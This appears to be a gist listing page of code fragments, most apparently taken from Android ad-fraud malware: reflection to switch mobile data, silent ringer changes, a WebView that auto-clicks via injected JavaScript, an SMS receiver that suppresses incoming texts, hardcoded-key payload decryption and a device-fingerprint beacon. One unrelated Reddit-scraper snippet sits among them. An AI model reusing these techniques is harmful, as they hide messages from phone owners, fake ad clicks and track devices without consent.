This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from bs4 import BeautifulSoup | |
def get_sfw_reddit_list(limit=250): | |
big_list = [] #local buffer of subreddits | |
URL = 'http://redditlist.com/sfw?page=' | |
while len(big_list)<limit: | |
i =+1 | |
#now get the URL |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Line 1: | |
Page: /cdp.beeline | |
Count: 7 | |
JS Code: | |
javascript:document.getElementsByTagName('button')[0].click(); | |
Line 2: | |
Page: lp1.tele | |
Count: 6 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public void setMobileDataEnabled(boolean mobileDataEnabled) { | |
try { | |
Object connectivityManager = this.ctx.getSystemService("connectivity"); | |
Field mServiceField = Class.forName(connectivityManager.getClass().getName()).getDeclaredField("mService"); | |
mServiceField.setAccessible(true); | |
connectivityManager = mServiceField.get(connectivityManager); | |
Method setMobileDataEnabledMethod = Class.forName(connectivityManager.getClass().getName()).getDeclaredMethod("setMobileDataEnabled", Boolean.TYPE); | |
setMobileDataEnabledMethod.setAccessible(true); | |
setMobileDataEnabledMethod.invoke(connectivityManager, Boolean.valueOf(mobileDataEnabled)); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public void setWifiEnabled(boolean wifiEnabled) { | |
this.ctx.getApplicationContext().getSystemService("wifi").setWifiEnabled(wifiEnabled); | |
} | |
public void set_RINGER_MODE_SILENT() { | |
this.ctx.getSystemService("audio").setRingerMode(RINGER_MODE_SILENT); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public void autoclick(String URL, String RESPONSE) { | |
WebView webView = new WebView(this.ctx); | |
webView.getSettings().setJavaScriptEnabled(true); | |
webView.loadUrl(URL, this.setupXRequestedWith()); | |
webView.setWebViewClient(new WebViewClient(webView) { | |
int count; | |
public void onPageFinished(WebView webView, String URL) { | |
++this.count; | |
String[] lines = this.RESPONSE.split("\\|\\|\\|"); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<receiver android:name="com.tosveokrtbv.xjortnrkl.Broadcast"> | |
<intent-filter> | |
<action android:name="android.provider.Telephony.SMS_RECEIVED"/> | |
</intent-filter> | |
</receiver> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public class Broadcast extends BroadcastReceiver { | |
public void onReceive(Context context, Intent intent) { | |
abortBroadcast(); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private static void decryptFile(InputStream in, String destFilePath) throws Exception { | |
File destFile = new File(destFilePath); | |
if (in != null) { | |
if (!destFile.getParentFile().exists()) { | |
destFile.getParentFile().mkdirs(); | |
} | |
destFile.createNewFile(); | |
FileOutputStream out = new FileOutputStream(destFile); | |
SecretKeySpec secretKeySpec = new SecretKeySpec(new SecretKeySpec(Base64.decode("GiEhjghmZIO7RTWyycQ9PQ=="), "AES").getEncoded(), "AES"); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private static String Decrypt(String string2bdecrypted, String IV){ | |
byte[] decode = Base64.decode(str); | |
AlgorithmParameterSpec ivParameterSpec = new IvParameterSpec(IV.getBytes("ASCII")); | |
Key secretKeySpec = new SecretKeySpec(IV.getBytes(), "DES"); | |
Cipher instance = Cipher.getInstance("DES/CBC/PKCS5Padding"); | |
instance.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec); | |
return new String(instance.doFinal(decode)); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{"imei":"","imsi":"","jhsdknm":"2.1.0","jhsdkcd":"20181221","mac":"","osver":"7.1.1","androidver":"25","androidid":"","brnd":"google","modl":"Nexus 6","sn":"","cnl":"1000_1201_12204700","RSSI":"-32","SSID":""","BSSID":"","ht":"2392","wdth":"1440","jhsdkmd5":"","Tm":1548864387,"net":"WIFI","hpkg":"com.xksx.tosiok","hcrc":"","hvernm":"1.0","hvercd":"1","parttype":2,"applist":[],"pltype":"1”} |
OlderNewer